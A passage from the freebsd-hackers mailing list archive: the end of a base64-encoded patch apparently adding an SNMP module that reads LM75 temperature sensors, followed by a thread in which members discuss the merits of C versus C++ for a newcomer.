CisKK3N0YXRpYyB2b2lkIGZyZWVfc2Vuc29ycyh2b2lkKTsKK3N0YXRpYyBpbnQgbG03NV9maW5p KHZvaWQpOworc3RhdGljIGludCBsbTc1X2luaXQoc3RydWN0IGxtb2R1bGUgKm1vZCwgaW50IGFy Z2MsIGNoYXIgKmFyZ3ZbXSk7CitzdGF0aWMgdm9pZCBsbTc1X3N0YXJ0KHZvaWQpOworc3RhdGlj IGludCB1cGRhdGVfc2Vuc29ycyh2b2lkKTsKKworY29uc3Qgc3RydWN0IHNubXBfbW9kdWxlIGNv bmZpZyA9IHsKKyAgICAuY29tbWVudCAgID0KKwkiVGhpcyBtb2R1bGUgaW1wbGVtZW50cyB0aGUg QkVHRU1PVCBNSUIgZm9yIHJlYWRpbmcgTE03NSBzZW5zb3JzIGRhdGEuIiwKKyAgICAuaW5pdCAg ICAgID0gbG03NV9pbml0LAorICAgIC5zdGFydCAgICAgPSBsbTc1X3N0YXJ0LAorICAgIC5maW5p ICAgICAgPSBsbTc1X2ZpbmksCisgICAgLnRyZWUgICAgICA9IGxtNzVfY3RyZWUsCisgICAgLnRy ZWVfc2l6ZSA9IGxtNzVfQ1RSRUVfU0laRSwKK307CisKK3N0YXRpYyBpbnQKK2xtNzVfaW5pdChz dHJ1Y3QgbG1vZHVsZSAqbW9kLCBpbnQgYXJnYyBfX3VudXNlZCwgY2hhciAqYXJndltdIF9fdW51 c2VkKQoreworCisJbW9kdWxlID0gbW9kOworCisJbG03NV9zZW5zb3JzID0gMDsKKwlvcGVubG9n KCJzbm1wX2xtNzUiLCBMT0dfTkRFTEFZIHwgTE9HX1BJRCwgTE9HX0RBRU1PTik7CisKKwlyZXR1 cm4oMCk7Cit9CisKK3N0YXRpYyB2b2lkCitsbTc1X3N0YXJ0KHZvaWQpCit7CisKKwlsbTc1X2lu ZGV4ID0gb3JfcmVnaXN0ZXIoJm9pZF9sbTc1LAorCSAgICAiVGhlIE1JQiBtb2R1bGUgZm9yIHJl YWRpbmcgbG03NSBzZW5zb3JzIGRhdGEuIiwgbW9kdWxlKTsKK30KKworc3RhdGljIGludAorbG03 NV9maW5pKHZvaWQpCit7CisKKwlvcl91bnJlZ2lzdGVyKGxtNzVfaW5kZXgpOworCWZyZWVfc2Vu c29ycygpOworCWNsb3NlbG9nKCk7CisKKwlyZXR1cm4gKDApOworfQorCitzdGF0aWMgdm9pZAor ZnJlZV9zZW5zb3JzKHZvaWQpCit7CisJc3RydWN0IGxtNzVfc25tcF9zZW5zb3IgKnNlbnNvcjsK KworCXdoaWxlICgoc2Vuc29yID0gVEFJTFFfRklSU1QoJnNlbnNvcnMpKSAhPSBOVUxMKSB7CisJ CVRBSUxRX1JFTU9WRSgmc2Vuc29ycywgc2Vuc29yLCBsaW5rKTsKKwkJZnJlZShzZW5zb3IpOwor CX0KK30KKworc3RhdGljIGludAorc3lzY3RsbmFtZShpbnQgKm9pZCwgaW50IG5sZW4sIGNoYXIg Km5hbWUsIHNpemVfdCBsZW4pCit7CisJaW50IG1pYlsxMl07CisKKwlpZiAobmxlbiA+IChpbnQp c2l6ZW9mKG1pYikgKyAyKQorCQlyZXR1cm4gKC0xKTsKKworCW1pYlswXSA9IDA7CisJbWliWzFd ID0gMTsKKwltZW1jcHkobWliICsgMiwgb2lkLCBubGVuICogc2l6ZW9mKGludCkpOworCisJaWYg KHN5c2N0bChtaWIsIG5sZW4gKyAyLCBuYW1lLCAmbGVuLCAwLCAwKSA9PSAtMSkKKwkJcmV0dXJu ICgtMSk7CisKKwlyZXR1cm4gKDApOworfQorCitzdGF0aWMgaW50CitzeXNjdGxnZXRuZXh0KGlu dCAqb2lkLCBpbnQgbmxlbiwgaW50ICpuZXh0LCBzaXplX3QgKm5leHRsZW4pCit7CisJaW50IG1p YlsxMl07CisKKwlpZiAobmxlbiAgPiAoaW50KXNpemVvZihtaWIpICsgMikKKwkJcmV0dXJuICgt MSk7CisKKwltaWJbMF0gPSAwOworCW1pYlsxXSA9IDI7CisJbWVtY3B5KG1pYiArIDIsIG9pZCwg bmxlbiAqIHNpemVvZihpbnQpKTsKKworCWlmIChzeXNjdGwobWliLCBubGVuICsgMiwgbmV4dCwg bmV4dGxlbiwgMCwgMCkgPT0gLTEpCisJCXJldHVybiAoLTEpOworCisJcmV0dXJuICgwKTsKK30K Kworc3RhdGljIGludAordXBkYXRlX3NlbnNvcl9zeXNjdGwoY2hhciAqb2J1Ziwgc2l6ZV90ICpv YnVmbGVuLCBpbnQgaWR4LCBjb25zdCBjaGFyICpuYW1lKQoreworCWNoYXIgYnVmW0xNNzVCVUZd OworCWludCBtaWJbNV07CisJc2l6ZV90IGxlbjsKKworCS8qIEZpbGwgb3V0IHRoZSBtaWIgaW5m b3JtYXRpb24uICovCisJc25wcmludGYoYnVmLCBzaXplb2YoYnVmKSAtIDEsICJkZXYubG03NS4l ZC4lcyIsIGlkeCwgbmFtZSk7CisJbGVuID0gNDsKKwlpZiAoc3lzY3RsbmFtZXRvbWliKGJ1Ziwg bWliLCAmbGVuKSA9PSAtMSkKKwkJcmV0dXJuICgtMSk7CisKKwkvKiBSZWFkIHRoZSBzeXNjdGwg ZGF0YS4gKi8KKwlpZiAoc3lzY3RsKG1pYiwgbGVuLCBvYnVmLCBvYnVmbGVuLCBOVUxMLCAwKSA9 PSAtMSkKKwkJcmV0dXJuICgtMSk7CisKKwlyZXR1cm4gKDApOworfQorCitzdGF0aWMgdm9pZAor dXBkYXRlX3NlbnNvcihzdHJ1Y3QgbG03NV9zbm1wX3NlbnNvciAqc2Vuc29yLCBpbnQgaWR4KQor eworCXNpemVfdCBsZW47CisKKwlsZW4gPSBzaXplb2Yoc2Vuc29yLT5kZXNjKTsKKwl1cGRhdGVf c2Vuc29yX3N5c2N0bChzZW5zb3ItPmRlc2MsICZsZW4sIGlkeCwgIiVkZXNjIik7CisKKwlsZW4g PSBzaXplb2Yoc2Vuc29yLT5sb2NhdGlvbik7CisJdXBkYXRlX3NlbnNvcl9zeXNjdGwoc2Vuc29y LT5sb2NhdGlvbiwgJmxlbiwgaWR4LCAiJWxvY2F0aW9uIik7CisKKwlsZW4gPSBzaXplb2Yoc2Vu c29yLT5wbnBpbmZvKTsKKwl1cGRhdGVfc2Vuc29yX3N5c2N0bChzZW5zb3ItPnBucGluZm8sICZs ZW4sIGlkeCwgIiVwbnBpbmZvIik7CisKKwlsZW4gPSBzaXplb2Yoc2Vuc29yLT5wYXJlbnQpOwor CXVwZGF0ZV9zZW5zb3Jfc3lzY3RsKHNlbnNvci0+cGFyZW50LCAmbGVuLCBpZHgsICIlcGFyZW50 Iik7Cit9CisKK3N0YXRpYyBpbnQKK2FkZF9zZW5zb3IoY2hhciAqYnVmLCBzaXplX3QgbmxlbikK K3sKKwlpbnQgaWR4LCBtaWJbNV0sIHRlbXA7CisJc2l6ZV90IGxlbjsKKwlzdHJ1Y3QgbG03NV9z bm1wX3NlbnNvciAqc2Vuc29yOworCisJaWYgKHNzY2FuZihidWYsICJkZXYubG03NS4lZC50ZW1w ZXJhdHVyZSIsICZpZHgpICE9IDEpCisJCXJldHVybiAoLTEpOworCisJLyogRmlsbCBvdXQgdGhl IG1pYiBpbmZvcm1hdGlvbi4gKi8KKwlpZiAoc3lzY3RsbmFtZXRvbWliKGJ1ZiwgbWliLCAmbmxl bikgPT0gLTEpCisJCXJldHVybiAoLTEpOworCisJLyogUmVhZCB0aGUgc2Vuc29yIHRlbXBlcmF0 dXJlLiAqLworCWxlbiA9IHNpemVvZih0ZW1wKTsKKwlpZiAoc3lzY3RsKG1pYiwgbmxlbiwgJnRl bXAsICZsZW4sIE5VTEwsIDApID09IC0xKQorCQlyZXR1cm4gKC0xKTsKKworCS8qIEFkZCB0aGUg c2Vuc29yIGRhdGEgdG8gdGhlIHRhYmxlLiAqLworCXNlbnNvciA9IGNhbGxvYygxLCBzaXplb2Yo KnNlbnNvcikpOworCWlmIChzZW5zb3IgPT0gTlVMTCkgeworCQlzeXNsb2coTE9HX0VSUiwgIlVu YWJsZSB0byBhbGxvY2F0ZSAlenUgYnl0ZXMgZm9yIHJlc291cmNlIiwKKwkJICAgIHNpemVvZigq c2Vuc29yKSk7CisJCXJldHVybiAoLTEpOworCX0KKwlzZW5zb3ItPmluZGV4ID0gKytsbTc1X3Nl bnNvcnM7CisJc2Vuc29yLT5zeXNjdGxpZHggPSBpZHg7CisJc2Vuc29yLT50ZW1wID0gKHRlbXAg LSBUWl9aRVJPQykgLyAxMDsKKwlUQUlMUV9JTlNFUlRfVEFJTCgmc2Vuc29ycywgc2Vuc29yLCBs aW5rKTsKKworCXVwZGF0ZV9zZW5zb3Ioc2Vuc29yLCBpZHgpOworCisJcmV0dXJuICgwKTsKK30K Kworc3RhdGljIGludAordXBkYXRlX3NlbnNvcnModm9pZCkKK3sKKwljaGFyIGJ1ZltMTTc1QlVG XTsKKwlpbnQgaSwgcm9vdFs1XSwgKm5leHQsICpvaWQ7CisJc2l6ZV90IGxlbiwgbmV4dGxlbiwg cm9vdGxlbjsKKwlzdGF0aWMgdWludDY0X3Qgbm93OworCisJbm93ID0gZ2V0X3RpY2tzKCk7CisJ aWYgKG5vdyAtIGxhc3Rfc2Vuc29yc191cGRhdGUgPCBVUERBVEVfSU5URVJWQUwpCisJCXJldHVy biAoMCk7CisKKwlsYXN0X3NlbnNvcnNfdXBkYXRlID0gbm93OworCisJLyogUmVzZXQgdGhlIHNl bnNvciBkYXRhLiAqLworCWZyZWVfc2Vuc29ycygpOworCWxtNzVfc2Vuc29ycyA9IDA7CisKKwkv KiBTdGFydCBmcm9tIHRoZSBsbTc1IGRlZmF1bHQgcm9vdCBub2RlLiAqLworCXJvb3RsZW4gPSAy OworCWlmIChzeXNjdGxuYW1ldG9taWIoImRldi5sbTc1Iiwgcm9vdCwgJnJvb3RsZW4pID09IC0x KQorCQlyZXR1cm4gKDApOworCisJb2lkID0gKGludCAqKW1hbGxvYyhzaXplb2YoaW50KSAqIHJv b3RsZW4pOworCWlmIChvaWQgPT0gTlVMTCkgeworCQlwZXJyb3IoIm1hbGxvYyIpOworCQlyZXR1 cm4gKC0xKTsKKwl9CisJbWVtY3B5KG9pZCwgcm9vdCwgcm9vdGxlbiAqIHNpemVvZihpbnQpKTsK KwlsZW4gPSByb290bGVuOworCisJLyogVHJhdmVyc2UgdGhlIHN5c2N0bCgzKSBpbnRlcmZhY2Ug YW5kIGZpbmQgdGhlIGFjdGl2ZSBzZW5zb3JzLiAqLworCWZvciAoOzspIHsKKworCQkvKiBGaW5k IHRoZSBzaXplIG9mIHRoZSBuZXh0IG1pYi4gKi8KKwkJbmV4dGxlbiA9IDA7CisJCWlmIChzeXNj dGxnZXRuZXh0KG9pZCwgbGVuLCBOVUxMLCAmbmV4dGxlbikgPT0gLTEpIHsKKwkJCWZyZWUob2lk KTsKKwkJCXJldHVybiAoMCk7CisJCX0KKwkJLyogQWxvY2F0ZSBhbmQgcmVhZCB0aGUgbmV4dCBt aWIuICovCisJCW5leHQgPSAoaW50ICopbWFsbG9jKG5leHRsZW4pOworCQlpZiAobmV4dCA9PSBO VUxMKSB7CisJCQlzeXNsb2coTE9HX0VSUiwKKwkJCSAgICAiVW5hYmxlIHRvIGFsbG9jYXRlICV6 dSBieXRlcyBmb3IgcmVzb3VyY2UiLAorCQkJICAgIG5leHRsZW4pOworCQkJZnJlZShvaWQpOwor CQkJcmV0dXJuICgtMSk7CisJCX0KKwkJaWYgKHN5c2N0bGdldG5leHQob2lkLCBsZW4sIG5leHQs ICZuZXh0bGVuKSA9PSAtMSkgeworCQkJZnJlZShvaWQpOworCQkJZnJlZShuZXh0KTsKKwkJCXJl dHVybiAoMCk7CisJCX0KKwkJZnJlZShvaWQpOworCQkvKiBDaGVjayBpZiB3ZSBjYXJlIGFib3V0 IHRoZSBuZXh0IG1pYi4gKi8KKwkJZm9yIChpID0gMDsgaSA8IChpbnQpcm9vdGxlbjsgaSsrKQor CQkJaWYgKG5leHRbaV0gIT0gcm9vdFtpXSkgeworCQkJCWZyZWUobmV4dCk7CisJCQkJcmV0dXJu ICgwKTsKKwkJCX0KKwkJb2lkID0gKGludCAqKW1hbGxvYyhuZXh0bGVuKTsKKwkJaWYgKG9pZCA9 PSBOVUxMKSB7CisJCQlzeXNsb2coTE9HX0VSUiwKKwkJCSAgICAiVW5hYmxlIHRvIGFsbG9jYXRl ICV6dSBieXRlcyBmb3IgcmVzb3VyY2UiLAorCQkJICAgIG5leHRsZW4pOworCQkJZnJlZShuZXh0 KTsKKwkJCXJldHVybiAoLTEpOworCQl9CisJCW1lbWNweShvaWQsIG5leHQsIG5leHRsZW4pOwor CQlmcmVlKG5leHQpOworCQlsZW4gPSBuZXh0bGVuIC8gc2l6ZW9mKGludCk7CisKKwkJLyogRmlu ZCB0aGUgbWliIG5hbWUuICovCisJCWlmIChzeXNjdGxuYW1lKG9pZCwgbGVuLCBidWYsIHNpemVv ZihidWYpKSAhPSAwKQorCQkJY29udGludWU7CisKKwkJaWYgKHN0cnN0cihidWYsICJ0ZW1wZXJh dHVyZSIpKQorCQkJaWYgKGFkZF9zZW5zb3IoYnVmLCBsZW4pICE9IDApIHsKKwkJCQlmcmVlKG9p ZCk7CisJCQkJcmV0dXJuICgtMSk7CisJCQl9CisJfQorCisJcmV0dXJuICgwKTsKK30KKworaW50 CitvcF9sbTc1U2Vuc29ycyhzdHJ1Y3Qgc25tcF9jb250ZXh0ICpjb250ZXh0IF9fdW51c2VkLCBz dHJ1Y3Qgc25tcF92YWx1ZSAqdmFsdWUsCisgICAgdV9pbnQgc3ViLCB1X2ludCBpaWR4IF9fdW51 c2VkLCBlbnVtIHNubXBfb3Agb3ApCit7CisJYXNuX3N1YmlkX3Qgd2hpY2g7CisKKwlpZiAodXBk YXRlX3NlbnNvcnMoKSA9PSAtMSkKKwkJcmV0dXJuIChTTk1QX0VSUl9SRVNfVU5BVkFJTCk7CisK Kwl3aGljaCA9IHZhbHVlLT52YXIuc3Vic1tzdWIgLSAxXTsKKworCXN3aXRjaCAob3ApIHsKKwlj YXNlIFNOTVBfT1BfR0VUOgorCQlzd2l0Y2ggKHdoaWNoKSB7CisJCWNhc2UgTEVBRl9sbTc1U2Vu c29yczoKKwkJCXZhbHVlLT52LmludGVnZXIgPSBsbTc1X3NlbnNvcnM7CisJCQlicmVhazsKKwkJ ZGVmYXVsdDoKKwkJCXJldHVybiAoU05NUF9FUlJfUkVTX1VOQVZBSUwpOworCQl9CisJCWJyZWFr OworCWNhc2UgU05NUF9PUF9TRVQ6CisJCXJldHVybiAoU05NUF9FUlJfTk9UX1dSSVRFQUJMRSk7 CisJY2FzZSBTTk1QX09QX0dFVE5FWFQ6CisJY2FzZSBTTk1QX09QX1JPTExCQUNLOgorCWNhc2Ug U05NUF9PUF9DT01NSVQ6CisJCXJldHVybiAoU05NUF9FUlJfTk9FUlJPUik7CisJZGVmYXVsdDoK KwkJcmV0dXJuIChTTk1QX0VSUl9SRVNfVU5BVkFJTCk7CisJfQorCisJcmV0dXJuIChTTk1QX0VS Ul9OT0VSUk9SKTsKK30KKworaW50CitvcF9sbTc1U2Vuc29yVGFibGUoc3RydWN0IHNubXBfY29u dGV4dCAqY29udGV4dCBfX3VudXNlZCwKKyAgICBzdHJ1Y3Qgc25tcF92YWx1ZSAqdmFsdWUsIHVf aW50IHN1YiwgdV9pbnQgaWlkeCBfX3VudXNlZCwgZW51bSBzbm1wX29wIG9wKQoreworCXN0cnVj dCBsbTc1X3NubXBfc2Vuc29yICpzZW5zb3I7CisJYXNuX3N1YmlkX3Qgd2hpY2g7CisJaW50IHJl dDsKKworCWlmICh1cGRhdGVfc2Vuc29ycygpID09IC0xKQorCQlyZXR1cm4gKFNOTVBfRVJSX1JF U19VTkFWQUlMKTsKKworCXdoaWNoID0gdmFsdWUtPnZhci5zdWJzW3N1YiAtIDFdOworCisJc3dp dGNoIChvcCkgeworCWNhc2UgU05NUF9PUF9HRVRORVhUOgorCQlzZW5zb3IgPSBORVhUX09CSkVD VF9JTlQoJnNlbnNvcnMsICZ2YWx1ZS0+dmFyLCBzdWIpOworCQlpZiAoc2Vuc29yID09IE5VTEwp CisJCQlyZXR1cm4gKFNOTVBfRVJSX05PU1VDSE5BTUUpOworCQl2YWx1ZS0+dmFyLmxlbiA9IHN1 YiArIDE7CisJCXZhbHVlLT52YXIuc3Vic1tzdWJdID0gc2Vuc29yLT5pbmRleDsKKwkJYnJlYWs7 CisJY2FzZSBTTk1QX09QX0dFVDoKKwkJaWYgKHZhbHVlLT52YXIubGVuIC0gc3ViICE9IDEpCisJ CQlyZXR1cm4gKFNOTVBfRVJSX05PU1VDSE5BTUUpOworCQlzZW5zb3IgPSBGSU5EX09CSkVDVF9J TlQoJnNlbnNvcnMsICZ2YWx1ZS0+dmFyLCBzdWIpOworCQlpZiAoc2Vuc29yID09IE5VTEwpCisJ CQlyZXR1cm4gKFNOTVBfRVJSX05PU1VDSE5BTUUpOworCQlicmVhazsKKwljYXNlIFNOTVBfT1Bf U0VUOgorCQlyZXR1cm4gKFNOTVBfRVJSX05PVF9XUklURUFCTEUpOworCWNhc2UgU05NUF9PUF9S T0xMQkFDSzoKKwljYXNlIFNOTVBfT1BfQ09NTUlUOgorCQlyZXR1cm4gKFNOTVBfRVJSX05PRVJS T1IpOworCWRlZmF1bHQ6CisJCXJldHVybiAoU05NUF9FUlJfUkVTX1VOQVZBSUwpOworCX0KKwor CXJldCA9IFNOTVBfRVJSX05PRVJST1I7CisKKwlzd2l0Y2ggKHdoaWNoKSB7CisJY2FzZSBMRUFG X2xtNzVTZW5zb3JJbmRleDoKKwkJdmFsdWUtPnYuaW50ZWdlciA9IHNlbnNvci0+aW5kZXg7CisJ CWJyZWFrOworCWNhc2UgTEVBRl9sbTc1U2Vuc29yU3lzY3RsSW5kZXg6CisJCXZhbHVlLT52Lmlu dGVnZXIgPSBzZW5zb3ItPnN5c2N0bGlkeDsKKwkJYnJlYWs7CisJY2FzZSBMRUFGX2xtNzVTZW5z b3JEZXNjOgorCQlyZXQgPSBzdHJpbmdfZ2V0KHZhbHVlLCBzZW5zb3ItPmRlc2MsIC0xKTsKKwkJ YnJlYWs7CisJY2FzZSBMRUFGX2xtNzVTZW5zb3JMb2NhdGlvbjoKKwkJcmV0ID0gc3RyaW5nX2dl dCh2YWx1ZSwgc2Vuc29yLT5sb2NhdGlvbiwgLTEpOworCQlicmVhazsKKwljYXNlIExFQUZfbG03 NVNlbnNvclBucEluZm86CisJCXJldCA9IHN0cmluZ19nZXQodmFsdWUsIHNlbnNvci0+cG5waW5m bywgLTEpOworCQlicmVhazsKKwljYXNlIExFQUZfbG03NVNlbnNvclBhcmVudDoKKwkJcmV0ID0g c3RyaW5nX2dldCh2YWx1ZSwgc2Vuc29yLT5wYXJlbnQsIC0xKTsKKwkJYnJlYWs7CisJY2FzZSBM RUFGX2xtNzVTZW5zb3JUZW1wZXJhdHVyZToKKwkJdmFsdWUtPnYuaW50ZWdlciA9IHNlbnNvci0+ dGVtcDsKKwkJYnJlYWs7CisJZGVmYXVsdDoKKwkJcmV0ID0gU05NUF9FUlJfUkVTX1VOQVZBSUw7 CisJCWJyZWFrOworCX0KKworCXJldHVybiAocmV0KTsKK30KClByb3BlcnR5IGNoYW5nZXMgb246 IHVzci5zYmluL2Jzbm1wZC9tb2R1bGVzL3NubXBfbG03NS9zbm1wX2xtNzUuYwpfX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f CkFkZGVkOiBzdm46ZW9sLXN0eWxlCiMjIC0wLDAgKzEgIyMKK25hdGl2ZQpcIE5vIG5ld2xpbmUg YXQgZW5kIG9mIHByb3BlcnR5CkFkZGVkOiBzdm46bWltZS10eXBlCiMjIC0wLDAgKzEgIyMKK3Rl eHQvcGxhaW4KXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBwcm9wZXJ0eQpBZGRlZDogc3ZuOmtleXdv cmRzCiMjIC0wLDAgKzEgIyMKK0ZyZWVCU0Q9JUgKXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBwcm9w ZXJ0eQo= --047d7b86ccbc79981504f4cdffda-- From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 15:04:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 63045110 for ; Mon, 17 Mar 2014 15:04:30 +0000 (UTC) Received: from tds-solutions.net (tds-solutions.net [69.164.206.65]) by mx1.freebsd.org (Postfix) with ESMTP id 41FF3EC9 for ; Mon, 17 Mar 2014 15:04:29 +0000 (UTC) Received: from [192.168.0.64] (unknown [168.103.85.95]) (Authenticated sender: tyler) by tds-solutions.net (Postfix) with ESMTPSA id 4DD34A093; Mon, 17 Mar 2014 09:10:22 -0600 (MDT) Message-ID: <53270EFB.5090103@tysdomain.com> Date: Mon, 17 Mar 2014 11:04:27 -0400 From: "Littlefield, Tyler" User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: by Subject: Re: Something related to C and C++ References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> In-Reply-To: <5326D093.90308@yahoo.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "freebsd-hackers@freebsd.org" , Johan Bucht , Erich Dollansky X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: tyler@tysdomain.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 15:04:30 -0000 On 3/17/2014 6:38 AM, by wrote: > Yes, you are right, i have some prejudice for C++ before, but now, i > think i won't, cause if i have not deeply working for some languages, > technologies, i have no right to judge it, i need more and more > practice : ) > Different fields got different technologies, the only key i think is > that which field you prefer, and what kind of technology you prefer. > There were two problems: 1) The fact that the c++ book is heavier and c++ "has more" doesn't really mean much. If there were to be a lot of material on the Java language, for example and then it were to include information on the standard library or whatever it's called, the java book would be much bigger. 2) Misguided assumptions based on the language. both have their strengths and weaknesses, like any other language. A 10-minute dive into either doesn't qualify one to say it's an aweful language without previous experience. C++ is higher level, but most kernel code, for example is written in C for a good reason. > - by > > On 2014/3/17 17:14, Johan Bucht wrote: >> Working in higher level languages like Java, Ruby, Python and C++ >> does have >> some advantages to C and some disadvantages. There are always trade offs >> and there will always be languages closer to the domain that will be >> more >> elegant to solve specific problems. >> If you're mainly doing programming close to the hardware the >> abstractions >> from those higher level languages doesn't add much value and the runtime >> with garbage collection and more is something you probably need to be >> able >> to turn off. >> It's of course possible to implement a lot of the features in higher >> level >> languages in lower level ones, but the syntax will not be that >> suitable for >> it and you need to impose restrictions on yourself instead of the >> language >> doing it for you. >> For some tasks C is too high level and Assembler is needed but for >> most of >> the tasks any language will do and it's a matter of personal taste. >> >> /Johan >> >> On Mon, Mar 17, 2014 at 3:50 AM, by wrote: >> >>> Well, I think C++'s popular has something related to C's popular >>> use, but >>> it contains too much, I prefer simple tool, do one thing, and do it >>> well, >>> no more extras, and build a system with their combinations, at least >>> the >>> base system. >>> >>> - by >>> >>>> On Mar 17, 2014, at 10:38, Erich Dollansky wrote: >>>> >>>> Hi, >>>> >>>> On Mon, 17 Mar 2014 10:20:55 +0800 >>>> by wrote: >>>> >>>> as C++ is C plus 'some' extras, just start with C. When you know C - >>>> which you have to know anyway to write C++ programs - you can add C++ >>>> to your knowledge. >>>> >>>> Never forget that object orientated programming is much older than C++ >>>> and can be done in most languages. I did my first steps in object >>>> orientated programming in 8080 assembler without even knowing that >>>> what I did will be later be known as object orientated programming. >>>> >>>> The little programming I still do is all done in C but using some of >>>> the 'addons' of C++. So, all my sources are .cpp files. >>>> >>>> Erich >>>>> Hi, >>>>> At first, I would say, I do not want to lead to a holy war between >>>>> programming languages, and I am a newbie in this field, but I am >>>>> confused about this, so I want get some answers or discusses from >>>>> here to help me thinking about this. I found that in IT industry, C++ >>>>> has more and more users, I can understand why they do this, C++ can >>>>> make them build system more easy than C does. okay, I just know a >>>>> little about C++, but in my feeling, C++ can make you do things in a >>>>> higher place. Yes, C++ is great, but for me, it is too difficult, or >>>>> I would say, it is too complicated. I got two books in my hand, one >>>>> is <>, another is <>>>> Language>>. Just consider from the weight : ) You can find something. >>>>> Language>>In the past, GCC use C, but now it turn to C++, and LLVM is >>>>> Language>>written by C++. Yes I prefer C now, and you may say, you >>>>> Language>>have not use these two languages deeply, how could you >>>>> Language>>judge them? Yes, I know I should not judge them, but as a >>>>> Language>>newbie, this is my very feeling, just like a kid first >>>>> Language>>looking at this world! Simple, but confused. At last, I am >>>>> Language>>not lead to a holy war between programming languages, I >>>>> Language>>just confused and want some related answers. This is it. >>>>> : ) >>>>> >>>>> - by >>>>> _______________________________________________ >>>>> freebsd-hackers@freebsd.org mailing list >>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>> To unsubscribe, send any mail to >>>>> "freebsd-hackers-unsubscribe@freebsd.org" >>> _______________________________________________ >>> freebsd-hackers@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> To unsubscribe, send any mail to >>> "freebsd-hackers-unsubscribe@freebsd.org" >>> >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to >> "freebsd-hackers-unsubscribe@freebsd.org" > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to > "freebsd-hackers-unsubscribe@freebsd.org" -- Take care, Ty http://tds-solutions.net He that will not reason is a bigot; he that cannot reason is a fool; he that dares not reason is a slave. From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 15:45:36 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 55583AC1 for ; Mon, 17 Mar 2014 15:45:36 +0000 (UTC) Received: from mail-lb0-x233.google.com (mail-lb0-x233.google.com [IPv6:2a00:1450:4010:c04::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id CF10233B for ; Mon, 17 Mar 2014 15:45:35 +0000 (UTC) Received: by mail-lb0-f179.google.com with SMTP id p9so3754082lbv.38 for ; Mon, 17 Mar 2014 08:45:34 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=8sXFheRD4HGS74EwaXNsBjT7ra3bnS7I/CAfSOnQKLM=; b=XTunkznjUxSXPnZBFxF2zlKr+MgD8hEEljYZ8ss/2HqFxCwNYKHSPxGDDvfDzOq4rA E1QJVyGke+X4mZgKaYYhajP/XbMt9FwnSCsPynU3A/fy81FTT95SVNZRY3RFJpCJgeCl mCWvypmAO1LkhdKBvtUVHgSs2utYTo24A16CN32PcIxxjCnYgHsWn6eaXZy5T9BWVuKl AHHn8nLx+M6LkpiJP0sPOneBup2V/NFpiwr6ExyaJ3awOF3ZSyyR+UuUFVWshenGiCHS wQ6h1ExA2fheuu51/a375QfzPNFkJWSi7K2XUNsPgdGqnWUF15iCdtoY8b3EoiYvhFL0 01iQ== MIME-Version: 1.0 X-Received: by 10.112.89.234 with SMTP id br10mr353035lbb.60.1395071134032; Mon, 17 Mar 2014 08:45:34 -0700 (PDT) Received: by 10.114.67.80 with HTTP; Mon, 17 Mar 2014 08:45:33 -0700 (PDT) In-Reply-To: <53270EFB.5090103@tysdomain.com> References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> <53270EFB.5090103@tysdomain.com> Date: Mon, 17 Mar 2014 11:45:33 -0400 Message-ID: Subject: Re: Something related to C and C++ From: Brian Kim To: tyler@tysdomain.com Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , Johan Bucht , Erich Dollansky , by X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 15:45:36 -0000 I really liked what Johan said about mapping your problem into the proper domain... Just to put in my 2 cents, I love C and I love object-oriented (oo) programming, but I do not like C++. For me, C is programming at its greatest because it will do EXACTLY what you tell it to do. Many languages try to imitate C via its elegant syntax and constructs, which is rather justified. However, C++ is an attempt to design a high-level oo language using a low-level interface (ie the preprocessor), which also carries over the limitations of C . As you develop a project with C++, you will begin to run into extremely opaque errors that will be difficult to decipher (particularly with templates and operator overloading). There are better languages out there to develop high-level software with my suggestion being Python. From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 16:17:20 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher 